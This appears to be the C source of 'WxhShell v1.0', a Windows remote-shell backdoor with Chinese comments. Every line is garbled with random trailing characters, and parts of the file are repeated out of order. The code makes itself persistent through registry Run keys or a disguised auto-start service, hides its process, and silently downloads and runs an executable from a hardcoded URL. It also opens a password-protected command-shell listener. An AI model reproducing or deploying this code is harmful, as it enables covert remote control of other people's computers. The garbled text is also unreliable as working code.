ULONG InheritedFromUniqueProcessId; cW81
} PROCESS_BASIC_INFORMATION; R/ALR
};|!Lhl+
PROCNTQSIP NtQueryInformationProcess; *<`7|BH 3
TRs[ ~K)n
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LPq*ZZK
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O3^98n2
^ [X|As2
HANDLE hProcess; ~
V@xu{
PROCESS_BASIC_INFORMATION pbi; Fe_::NVvk
=F'l's^j
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fnLR
if(NULL == hInst ) return 0; + >T7Q`64
vh9kwJyT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b{~fVil$y
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %+AS0 JhB
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7>nhIp))
+8LM~voB
if (!NtQueryInformationProcess) return 0; ,~?A,9?%:
J-t=1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eVqM=%Q
if(!hProcess) return 0; MuDFdbtR
io1S9a(y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \]Y\P~n
l 8O"w&
CloseHandle(hProcess); :3111}>c
-kG3k> by_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MxM](ew~7
if(hProcess==NULL) return 0; dIoF ~8V
l?3vNa FeR
HMODULE hMod; /M0l
p
char procName[255]; 3[MdUj1y[
unsigned long cbNeeded; ~v.jZ/h
~mN g[]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?ada>"~GR_
@+}rEe_(
CloseHandle(hProcess); r5f^WZ$-
+IwdMJ8&8
if(strstr(procName,"services")) return 1; // 以服务启动 Xtuhc dzu[
Hnfvo*6d.e
return 0; // 注册表启动 T6sr/<#<(
} D3<IuWeM
>}ro[x`K
// 主模块 9b?i
G
int StartWxhshell(LPSTR lpCmdLine) [Xxw]C6\>(
{ ^7i^ \w0
SOCKET wsl;
$cRcap
BOOL val=TRUE; [ Z#+gh
int port=0; Of1IdE6~
struct sockaddr_in door; F{TC#J}I%'
y<O@rD8iA
if(wscfg.ws_autoins) Install(); 8B}'\e4i
!a' K &
port=atoi(lpCmdLine); IkSX\*
e{v,x1Y_z(
if(port<=0) port=wscfg.ws_port; L@7Qs6G2u
pwa.q
WSADATA data; Q{H17]W
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wY' "ab
M%7`8KQ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @''&nRC1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3CA|5A.Pa
door.sin_family = AF_INET; Ya~ "R#Uy
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 99J+$A1
door.sin_port = htons(port); PPUEkvH
W
q $t&|{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A{4Dzm !
closesocket(wsl); *6NO-T; -
return 1; A;odVaH7
} S$S_nNq
y:qx5Mi
if(listen(wsl,2) == INVALID_SOCKET) { }$^]dn@
closesocket(wsl); %p<$|'
return 1; CT|z[^
} _GE=kw;:
Wxhshell(wsl); #]?tY}~
WSACleanup(); ^Y$QR]
pI
&o?n
return 0; Bk&-1>cY
Xwn3+tSIa
} !A~d[</]m
)\8URc|J
// 以NT服务方式启动 cN62M=**
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^gd<lo g
{ Po1hq2-U8
DWORD status = 0; wHA/b.jH
DWORD specificError = 0xfffffff; <#zwKTmK1
~q*i;*
serviceStatus.dwServiceType = SERVICE_WIN32; PoJmW^:}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `tX@8|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nfr:`$k
serviceStatus.dwWin32ExitCode = 0; P=c?QYF
serviceStatus.dwServiceSpecificExitCode = 0; L{!ihJr
serviceStatus.dwCheckPoint = 0; :lNg:r$4
serviceStatus.dwWaitHint = 0; X2i*iW<
YdK_.t0Mu
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T0;u+$
if (hServiceStatusHandle==0) return; +Dd"41
<} &7 a s
status = GetLastError(); y7>iz6N
if (status!=NO_ERROR) 8Bj4_!g
{ HC?0Lj
serviceStatus.dwCurrentState = SERVICE_STOPPED; P= e4lF.
serviceStatus.dwCheckPoint = 0; B#1:Y;Z
serviceStatus.dwWaitHint = 0; " <qEXX
serviceStatus.dwWin32ExitCode = status; b9`i Z
serviceStatus.dwServiceSpecificExitCode = specificError; Jth=.9mrM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hBjVe?{
return; F{;;
:
} Ky *DfQA
;8BA~,4l
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~xw5\Y^
serviceStatus.dwCheckPoint = 0; ,`yyR:F
serviceStatus.dwWaitHint = 0; FtN}]@F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5!tb$p#z
} 10?qjjb&
!z?0 :Jg
// 处理NT服务事件,比如:启动、停止 .xEJaID\N
VOID WINAPI NTServiceHandler(DWORD fdwControl) `-o5&>'nf
{ {>/)5AGs
switch(fdwControl) &2Q*1YXj
{ b"Zq0M0l
case SERVICE_CONTROL_STOP: s_xV-C#q@
serviceStatus.dwWin32ExitCode = 0; #Gd7M3
serviceStatus.dwCurrentState = SERVICE_STOPPED; B=r0?%DX"1
serviceStatus.dwCheckPoint = 0; TiQ^}5~M
serviceStatus.dwWaitHint = 0; GYd]5`ri
{ EA6t36|TX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +GYS26
}
h20Hg|
return; ^xt9pa$f
case SERVICE_CONTROL_PAUSE: TMqY4;UeL
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7(NXCAO81
break; A?DB#-z.r
case SERVICE_CONTROL_CONTINUE: xkM] J)C
serviceStatus.dwCurrentState = SERVICE_RUNNING; T(JuL<PB
break; $6#
lTYN~
case SERVICE_CONTROL_INTERROGATE: Rnr#$C%
break; +ZclGchw
}; "?P[9x}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L@nebT;\'
} pr$~8e=c
D;jK/2
// 标准应用程序主函数 #Mg lHQO+
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U-eI\Lu
{ 3?@?-q2g
7lR<@$q
// 获取操作系统版本 Ew]<jF|.#
OsIsNt=GetOsVer(); c yP,[?N
GetModuleFileName(NULL,ExeFile,MAX_PATH); H'Ln
P>@n#
8bt53ta
// 从命令行安装 ;T>+,
if(strpbrk(lpCmdLine,"iI")) Install(); F?cq'd
5/ * >v
// 下载执行文件 VRF6g|0;
if(wscfg.ws_downexe) { t7bqk!6hM\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SRItE\"Xe
WinExec(wscfg.ws_filenam,SW_HIDE); ei|cD[
NY
} \DS^i`o)rY
MxTmWsaW
if(!OsIsNt) { ]-:1se
// 如果时win9x,隐藏进程并且设置为注册表启动 781]THY=
HideProc(); vOe0}cR
StartWxhshell(lpCmdLine); =*O=E@]
} f TO+ZTRqf
else Tm_8<$ 7
if(StartFromService()) ;%Q&hwj
// 以服务方式启动 ' S ,2
StartServiceCtrlDispatcher(DispatchTable); &{ ZSE^
else 4jGLAor|
// 普通方式启动 U(*yL-
StartWxhshell(lpCmdLine); csDQva\
w12}Rn8
return 0; =!CU $g
} W$'0Dc
8+>\3j
Bc<n2 C0
TF\sP8>V
=========================================== Xpl?g=B&u
88 l,&2q
n P1GW6Pu
76bc]o#
Y@%`ZPJ
n=o_1M|
" Za%LAyT_s
6,+nRiZ
#include <stdio.h> 4,~tl~FD
#include <string.h> QPs:R hV7
#include <windows.h> mxp Y&Y
#include <winsock2.h> % O%xpSYr
#include <winsvc.h> YB5dnS"n
#include <urlmon.h>
\bold"
3D_"yZ
#pragma comment (lib, "Ws2_32.lib") ){ gAj
#pragma comment (lib, "urlmon.lib") M{E{N K
NXI[q'y
#define MAX_USER 100 // 最大客户端连接数 hcyO97@r
#define BUF_SOCK 200 // sock buffer ,E}$[mHyjz
#define KEY_BUFF 255 // 输入 buffer [l*;E
f,
mU@xcN
#define REBOOT 0 // 重启 >DP:GcTG
#define SHUTDOWN 1 // 关机 3=-
})X;
!re1EL
#define DEF_PORT 5000 // 监听端口 `!i-#~n
[/$N!2'5
#define REG_LEN 16 // 注册表键长度
RJ}#)cT
#define SVC_LEN 80 // NT服务名长度 X;!~<~@Y
bfdVED
// 从dll定义API p/*"4-S
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _a5(s2wq+
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,2,5Odrz
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x=*L-
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aWGon]2p
EB,4PEe:
// wxhshell配置信息 1'O0`Me>#
struct WSCFG { Im)EDTm$
int ws_port; // 监听端口 Uc&iZFid2K
char ws_passstr[REG_LEN]; // 口令 C-w5KW
int ws_autoins; // 安装标记, 1=yes 0=no mQr0sI,o]
char ws_regname[REG_LEN]; // 注册表键名 8\#
^k#X
char ws_svcname[REG_LEN]; // 服务名 2d`c!
char ws_svcdisp[SVC_LEN]; // 服务显示名 @;Y~frT
char ws_svcdesc[SVC_LEN]; // 服务描述信息 _u5dC
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /S~m)$vu
int ws_downexe; // 下载执行标记, 1=yes 0=no y LM"+.?pL
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rMp9jG@3
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /;oqf4MF
u
#~;&D*q
}; 5<+KR.W
K5k?H
// default Wxhshell configuration h{_*oBa
struct WSCFG wscfg={DEF_PORT, 0m)&YFZ[(
"xuhuanlingzhe", 4l @)K9F
1, AIZBo@xg
"Wxhshell", !p[`IWZ
"Wxhshell", op @iGC+
"WxhShell Service", &leK}je [
"Wrsky Windows CmdShell Service", A-uB\ L
"Please Input Your Password: ", 98=la,^$
1, ?WFh',`:
"http://www.wrsky.com/wxhshell.exe", |vu>;*K
"Wxhshell.exe" 79BaDB`{a
}; `.v(fC
s|-FH X
// 消息定义模块 (
u`W!{1\
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HOZRYIQB
char *msg_ws_prompt="\n\r? for help\n\r#>"; !'0S0a8
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RU&_j*U
char *msg_ws_ext="\n\rExit."; _Qd,VE
8u
char *msg_ws_end="\n\rQuit."; o6L9UdT
char *msg_ws_boot="\n\rReboot..."; !')y&7a~
char *msg_ws_poff="\n\rShutdown..."; n]N 96oD
char *msg_ws_down="\n\rSave to "; ZjVWxQ
(OmH~lSO.
char *msg_ws_err="\n\rErr!"; #YK5WTn5
char *msg_ws_ok="\n\rOK!"; b,<9
)/|6'L-2
char ExeFile[MAX_PATH]; shgAhx
int nUser = 0; `xz&Scil
HANDLE handles[MAX_USER]; \x+3f
int OsIsNt; tju|UhP3
&`!^Zq vG
SERVICE_STATUS serviceStatus; aGoE,5
SERVICE_STATUS_HANDLE hServiceStatusHandle; 7r
0,>
3"
;3m!:l
// 函数声明 i8PuC^]
int Install(void); N1x@-/xa|
int Uninstall(void); d,cN(
int DownloadFile(char *sURL, SOCKET wsh); '&yeQ
int Boot(int flag); jbmTmh1q
void HideProc(void); Y(6Sp'0
int GetOsVer(void); ..<3%fL3
int Wxhshell(SOCKET wsl); XL5Es:"+?S
void TalkWithClient(void *cs); 0 f/.>1M=
int CmdShell(SOCKET sock); %2l7Hmp4H
int StartFromService(void); uT_!'l$fr
int StartWxhshell(LPSTR lpCmdLine); ;#k-)m%
${hz e<g
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MI#mAg<
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5VE2@Fn}
rg QEUDEQ
// 数据结构和表定义 m~`>`4
SERVICE_TABLE_ENTRY DispatchTable[] = - u3e5gW
{ }!d;(/)rb
{wscfg.ws_svcname, NTServiceMain}, *}!MOqP
{NULL, NULL} '0t-]NAc
}; [L~@uAMw:
K%j&/T j1
// 自我安装 vO@s$qi
int Install(void) -kj< 1~YW
{ b~0N^p[&%
char svExeFile[MAX_PATH]; r)T[(D'Tm-
HKEY key; zO=%J)-=
strcpy(svExeFile,ExeFile); 'vIx#k4D1
m7qqY
// 如果是win9x系统,修改注册表设为自启动 }5 9U}@xC
if(!OsIsNt) { yL1bS|@
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $u9]yiY.{
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s0W2?!>)
RegCloseKey(key); O#kq^C}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =VP=|g
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2+"r~#K*
RegCloseKey(key); JXU2CyMY
return 0; 8E^@yZo{
} \wav?;z
} 1|QvN1?
} 5g
;ac~g
else { d/,E2i{I7
Q<"[C
1Lj
// 如果是NT以上系统,安装为系统服务 CAc
%f9!3
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eE]hy'{d<
if (schSCManager!=0) Om'(mr
{ v3RcwySk
SC_HANDLE schService = CreateService V5rp.~
( PX,rWkOce
schSCManager, v."Dnl
wscfg.ws_svcname, 9.+/~$Ht
wscfg.ws_svcdisp, ,L YFEq_
SERVICE_ALL_ACCESS, (9RslvKL
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wz
/GB8P
SERVICE_AUTO_START, P=8>c'Q
SERVICE_ERROR_NORMAL, F?4(5 K
svExeFile, kCP$I732
NULL, m
<k!^jp
NULL, RDQ^dui
NULL, 6f%DpJ:$U
NULL, RMXzU
NULL yJJ4~j){l
); EeQ5vqU
if (schService!=0) yJ2B3i@T4
{ 4&X*pL2;
CloseServiceHandle(schService); g /+oZU
CloseServiceHandle(schSCManager); WE!vSZ3R
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'c`jyn
strcat(svExeFile,wscfg.ws_svcname); (?&=T.*^
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;h/pnmhP
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); % 4 ~l
RegCloseKey(key); :`,3h%
return 0; ${&5]!E[>D
} m:CTPzAt
} \E4B&!m
CloseServiceHandle(schSCManager); ~Gv#iRi>
} \NL+}cL/
} b= PVIZ
3smM,fi
return 1; ":;@Hnb/
} i6PM<X,{;
'/%zi,0
// 自我卸载 UVuDQ
int Uninstall(void) )mcEQ -!b
{ fys
HKEY key; MXh
"Y*}
]Yyia.B
if(!OsIsNt) { t-e5ld~a
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %!j:fJ()
RegDeleteValue(key,wscfg.ws_regname); #;tT8[Ewuw
RegCloseKey(key); woOy*)@
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z4U9n'{
RegDeleteValue(key,wscfg.ws_regname); %}Q&1P=
RegCloseKey(key); }=}>9DSM
return 0; b\55,La
} Jobiq]|>
} U]4pA#*{|
}
yfNX7
else { y&J@?Hc>
\c`oy=qY0
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \}]iS C.2
if (schSCManager!=0) |QZ58)>
{ ' P"g\;Ij
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [IBQvL
if (schService!=0) yubSj*
{ =!MY4&YX
if(DeleteService(schService)!=0) { P>QpvSd_#
CloseServiceHandle(schService); %"$@%"8;3
CloseServiceHandle(schSCManager); WOytxE
return 0; O9h+Q\0\W
} gPC@Yy
CloseServiceHandle(schService); W0`Gc
{
} H: {7X1bV
CloseServiceHandle(schSCManager); Xh+ia#K
} hZ\+FOx;
} 8nNsrat
C'mL&
return 1; H}0dd"
} u=+q$Q]
c9Es%@]
// 从指定url下载文件 =([av7
int DownloadFile(char *sURL, SOCKET wsh) =H5\$&xj4.
{ LJzH"K[Gg6
HRESULT hr; Ze^jG-SL$9
char seps[]= "/"; Pt< s* (
char *token; JcO08n
char *file; B/uniR^x
char myURL[MAX_PATH]; wFn[9_`*
char myFILE[MAX_PATH]; l95<QI
&